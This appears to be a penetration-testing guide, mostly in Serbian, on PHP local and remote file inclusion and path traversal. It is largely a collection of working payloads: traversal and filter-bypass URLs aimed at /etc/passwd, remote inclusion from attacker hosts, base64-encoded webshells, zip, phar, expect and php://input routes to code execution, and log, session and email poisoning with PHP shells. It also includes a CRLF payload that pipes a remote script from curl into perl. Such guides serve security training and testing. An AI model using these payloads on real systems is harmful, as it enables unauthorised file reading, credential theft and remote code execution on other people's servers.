620 lines
33 KiB
Markdown

# Uključivanje fajlova/Putanja prolaz
{{#include ../../banners/hacktricks-training.md}}
## Uključivanje fajlova
**Uključivanje udaljenog fajla (RFI):** Fajl se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php-u je ovo **onemogućeno** po defaultu (**allow_url_include**).\
**Uključivanje lokalnog fajla (LFI):** Server učitava lokalni fajl.
Ranljivost se javlja kada korisnik može na neki način kontrolisati fajl koji će server učitati.
Ranljive **PHP funkcije**: require, require_once, include, include_once
Zanimljiv alat za iskorišćavanje ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Zanimljivi - LFI2RCE fajlovi
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Kombinovanjem nekoliko \*nix LFI lista i dodavanjem više putanja, kreirao sam ovu:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Pokušajte takođe da promenite `/` u `\`\
Pokušajte takođe da dodate `../../../../../`
Lista koja koristi nekoliko tehnika za pronalaženje datoteke /etc/password (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Spajanje različitih lista reči:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Pokušajte takođe da promenite `/` u `\`\
Pokušajte takođe da uklonite `C:/` i dodate `../../../../../`
Lista koja koristi nekoliko tehnika za pronalaženje datoteke /boot.ini (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Proverite LFI listu za linux.
## Osnovni LFI i zaobilaženja
Svi primeri su za Lokalnu Uključivanje Datoteka, ali se mogu primeniti i na Daljinsko Uključivanje Datoteka (stranica=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### sekvence prolaza uklonjene ne-rekurzivno
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Zaobiđite dodavanje više karaktera na kraju datog stringa (zaobiđivanje: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Ovo je **rešeno od PHP 5.4**
### **Kodiranje**
Možete koristiti nestandardna kodiranja kao što je dvostruko URL kodiranje (i druga):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Iz postojeće fascikle
Možda back-end proverava putanju fascikle:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Istraživanje direktorijuma datotečnog sistema na serveru
Datotečni sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo datoteke, korišćenjem određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja specifičnih foldera. Ispod je detaljna metoda za postizanje ovoga:
1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma uspešnim preuzimanjem datoteke `/etc/passwd` (primenjivo ako je server zasnovan na Linux-u). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu od tri:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Istraži foldere:** Dodajte ime sumnjivog foldera (npr., `private`) na URL, a zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Tumačenje Ishoda:** Odgovor servera ukazuje da li folder postoji:
- **Greška / Nema Izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
- **Sadržaj `/etc/passwd`:** Prisutnost foldera `private` je potvrđena.
4. **Rekurzivna Istraživanja:** Otkriveni folderi se mogu dodatno istraživati za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži `private` direktorijum (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Tehnika skraćivanja putanje**
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u web aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je kreirati putanju datoteke koja, kada je izmenjena sigurnosnom merom, i dalje ukazuje na željenu datoteku.
U PHP-u, različite reprezentacije putanje datoteke mogu se smatrati ekvivalentnim zbog prirode datotečnog sistema. Na primer:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, i `/etc/passwd/` se svi tretiraju kao ista putanja.
- Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (što ga čini `passwd/`) ne menja ciljanju datoteku.
- Slično, ako se `.php` doda putanji datoteke (kao što je `shellcode.php`), dodavanje `/.` na kraju neće promeniti datoteku koja se pristupa.
Pruženi primeri pokazuju kako koristiti skraćivanje putanje za pristup `/etc/passwd`, uobičajenom cilju zbog svog osetljivog sadržaja (informacije o korisničkim računima):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
U ovim scenarijima, broj potrebnih prolaza može biti oko 2027, ali ovaj broj može varirati u zavisnosti od konfiguracije servera.
- **Korišćenje tačaka i dodatnih karaktera**: Sekvence prolaza (`../`) u kombinaciji sa dodatnim tačkama i karakterima mogu se koristiti za navigaciju kroz fajl sistem, efikasno ignorirajući dodatne stringove koje server dodaje.
- **Određivanje potrebnog broja prolaza**: Kroz pokušaje i greške, može se pronaći tačan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (poput `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut.
- **Početak sa lažnim direktorijumom**: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (poput `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanje servera.
Kada se koriste tehnike skraćivanja putanja, ključno je razumeti ponašanje servera prilikom parsiranja putanja i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda.
**Ova ranjivost je ispravljena u PHP 5.3.**
### **Trikovi za zaobilaženje filtera**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
U php-u je ovo podrazumevano onemogućeno jer je **`allow_url_include`** **Isključeno.** Mora biti **Uključeno** da bi radilo, i u tom slučaju možete uključiti PHP datoteku sa vašeg servera i dobiti RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Ako je iz nekog razloga **`allow_url_include`** **Uključeno**, ali PHP **filtrira** pristup spoljnim veb stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), mogli biste koristiti, na primer, data protokol sa base64 za dekodiranje b64 PHP koda i dobijanje RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koji se završava sa `.txt`, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen).
Još jedan primer **koji ne koristi `php://` protokol** bio bi:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
U Python-u u kodu poput ovog:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Ako korisnik prosledi **apsolutnu putanju** do **`file_name`**, **prethodna putanja se jednostavno uklanja**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
To je predviđeno ponašanje prema [dokumentaciji](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od komponente apsolutne putanje.
## Java Lista Direktorijuma
Izgleda da ako imate Path Traversal u Javi i **tražite direktorijum** umesto datoteke, **vraća se lista direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
## Top 25 parametara
Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni ranjivostima lokalnog uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI koristeći PHP omotače i protokole
### php://filter
PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego što budu pročitani ili zapisani. Postoji 5 kategorija filtera:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Uklanja oznake iz podataka (sve između "<" i ">" karaktera)
- Imajte na umu da je ovaj filter nestao iz modernih verzija PHP-a
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transformiše u drugačiju kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih kodiranja**, pokrenite u konzoli: `iconv -l`
> [!WARNING]
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije poput uključivanja koja obrađuje proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se eksfiltrira mnogo informacija)
- `zlib.inflate`: Dekompresuje podatke
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Zastarjelo
- `mdecrypt.*` : Zastarjelo
- Ostali filteri
- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći nekoliko **neočekivanih filtera**:
- `consumed`
- `dechunk`: obrće HTTP chunked encoding
- `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Deo "php://filter" nije osetljiv na velika i mala slova
### Korišćenje php filtera kao orakla za čitanje proizvoljnih fajlova
[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložena je tehnika za čitanje lokalnog fajla bez vraćanja izlaza sa servera. Ova tehnika se zasniva na **boolean eksfiltraciji fajla (karakter po karakter) koristeći php filtere** kao orakl. To je zato što se php filteri mogu koristiti za povećanje teksta dovoljno da php izazove izuzetak.
U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzog pregleda:
- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i povećate veličinu stringa eksponencijalno.
- Ovo će se koristiti za generisanje **teksta toliko velikog kada je početno slovo tačno pogođeno** da će php izazvati **grešku**.
- **dechunk** filter će **ukloniti sve ako prvi karakter nije heksadecimalni**, tako da možemo znati da li je prvi karakter heks.
- Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška se izaziva jer se množi sa početnom bombom.
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao n, o, p, q, r (i drugi codeci se mogu koristiti za pomeranje drugih slova u heks opseg).
- Kada je početni karakter broj, potrebno je da se base64 kodira i eksfiltrira prva 2 slova da bi se otkrio broj.
- Konačni problem je videti **kako eksfiltrirati više od početnog slova**. Korišćenjem filtera za redosled memorije kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta.
- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **povezali sa sledeća 2 bajta**, i **obrišemo podatke do junk podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju.
U postu je takođe otkriven alat za automatsko izvođenje ovoga: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Ovaj wrapper omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Možete takođe koristiti **php://stdin, php://stdout i php://stderr** za pristup **file descriptors 0, 1 i 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
### zip:// i rar://
Otpremite Zip ili Rar datoteku sa PHPShell unutar i pristupite joj.\
Da biste mogli da zloupotrebite rar protokol, **mora biti posebno aktiviran**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Napomena da je ovaj protokol ograničen php konfiguracijama **`allow_url_open`** i **`allow_url_include`**
### expect://
Expect mora biti aktiviran. Možete izvršiti kod koristeći ovo:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Specifikujte svoj payload u POST parametrima:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
`.phar` datoteka se može koristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije kao što su `include` za učitavanje datoteka. PHP kodni isječak prikazan ispod demonstrira kreiranje `.phar` datoteke:
```php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Da biste kompajlirali `.phar` datoteku, treba izvršiti sledeću komandu:
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
phar-deserialization.md
{{#endref}}
### CVE-2024-2961
Moglo je da se zloupotrebi **bilo koji proizvoljni fajl pročitan iz PHP-a koji podržava php filtere** da bi se dobio RCE. Detaljan opis može se [**naći u ovom postu**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Veoma kratak rezime: **3-bajtni overflow** u PHP heap-u je zloupotrebljen da bi se **izmenio lanac slobodnih chunk-ova** specifične veličine kako bi se moglo **pisati bilo šta na bilo kojoj adresi**, tako da je dodat hook za pozivanje **`system`**.\
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebljavajući više php filtera.
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
## LFI via PHP's 'assert'
Local File Inclusion (LFI) rizici u PHP-u su posebno visoki kada se radi sa funkcijom 'assert', koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se unos koji sadrži karaktere za prelazak direktorijuma kao što su ".." proverava, ali se ne sanitizuje pravilno.
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Dok ovo ima za cilj da zaustavi prolazak, nenamerno stvara vektor za injekciju koda. Da bi iskoristio ovo za čitanje sadržaja datoteka, napadač bi mogao da koristi:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Slično, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
```plaintext
' and die(system("id")) or '
```
Važno je **URL-enkodirati ove payload-e**.
## PHP Blind Path Traversal
> [!WARNING]
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu** ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**) ali sadržaj nije prikazan.
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepa putanja može zloupotrebiti putem PHP filtera da se **ekstrahuje sadržaj fajla putem greške orakla**.
Ukratko, tehnika koristi **"UCS-4LE" enkodiranje** da bi sadržaj fajla bio toliko **velik** da će **PHP funkcija koja otvara** fajl izazvati **grešku**.
Zatim, kako bi se otkrio prvi karakter, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, a na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da se **postave drugi karakteri na početak i otkriju**.
**Funkcije koje bi mogle biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo ciljani read only sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Za tehničke detalje proverite pomenuti post!
## LFI2RCE
### Remote File Inclusion
Objašnjeno ranije, [**pratite ovu vezu**](#remote-file-inclusion).
### Putem Apache/Nginx log fajla
Ako je Apache ili Nginx server **ranjiv na LFI** unutar include funkcije, mogli biste pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postavite unutar **user agent-a** ili unutar **GET parametra** php shell kao **`<?php system($_GET['c']); ?>`** i uključite taj fajl.
> [!WARNING]
> Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostavnih navodnika**, dvostruki navodnici će biti modifikovani za string "_**quote;**_", **PHP će baciti grešku** tamo i **ništa drugo neće biti izvršeno**.
>
> Takođe, uverite se da **ispravno pišete payload** ili će PHP grešiti svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.
Ovo se takođe može uraditi u drugim logovima, ali **budite oprezni**, kod unutar logova može biti URL enkodiran i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell se može umetnuti unutar ovog header-a.\
Ostale moguće putanje logova:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Putem Email-a
**Pošaljite mail** na interni nalog (user@localhost) koji sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da uključite u mail korisnika sa putanjom kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**
### Putem /proc/\*/fd/\*
1. Učitajte mnogo shell-ova (na primer: 100)
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute force-ovati) i $FD datoteka deskriptora (takođe može da se brute force-uje)
### Putem /proc/self/environ
Kao log fajl, pošaljite payload u User-Agent, biće reflektovan unutar /proc/self/environ fajla
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
Ako možete da otpremite datoteku, jednostavno ubacite shell payload u nju (npr: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Da bi se datoteka održala čitljivom, najbolje je ubrizgati u metapodatke slika/doc/pdf
### Putem učitavanja ZIP datoteke
Učitajte ZIP datoteku koja sadrži PHP shell kompresovanu i pristupite:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sesije
Proverite da li veb sajt koristi PHP sesiju (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
U PHP-u, ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ datotekama.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Postavite kolačić na `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Iskoristite LFI da uključite PHP sesijski fajl
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc/passwd) i pokušajte da pristupite **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji ranjivost Local File Inclusion (LFI), i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:
1. Umetnite PHP payload u polje korisničkog imena tokom procesa prijavljivanja.
2. Nakon umetanja, iskoristite LFI da preuzmete server logove sa _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload-a:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Ovaj [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters za generisanje proizvoljnog sadržaja** kao izlaz. Što u osnovi znači da možete **generisati proizvoljan php kod** za uključivanje **bez potrebe da ga pišete** u datoteku.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
**Upload**-ujte datoteku koja će biti sačuvana kao **privremena** u `/tmp`, zatim u **isto zahtev**, izazovite **segmentation fault**, i tada **privremena datoteka neće biti obrisana** i možete je potražiti.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda ćete moći da dobijete RCE koristeći sledeću tehniku:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
Ako ste pronašli **Local File Inclusion** čak i ako **nemate sesiju** i `session.auto_start` je `Off`. Ako pružite **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **omogućiti sesiju za vas**. Možete to zloupotrebiti da dobijete RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
Ako ste pronašli **Local File Inclusion** i server radi na **Windows-u**, možda ćete dobiti RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
Kao što je [**objašnjeno u ovom postu**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker slikama. Štaviše, moguće je proslediti argumente skripti putem URL-a jer je naznačeno da ako URL parametar nema `=`, treba ga koristiti kao argument.
Sledeći zahtev kreira datoteku u `/tmp/hello.php` sa sadržajem `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Sledeće zloupotrebljava CRLF ranjivost da bi dobilo RCE (iz [**ovde**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Putem phpinfo() (file_uploads = on)
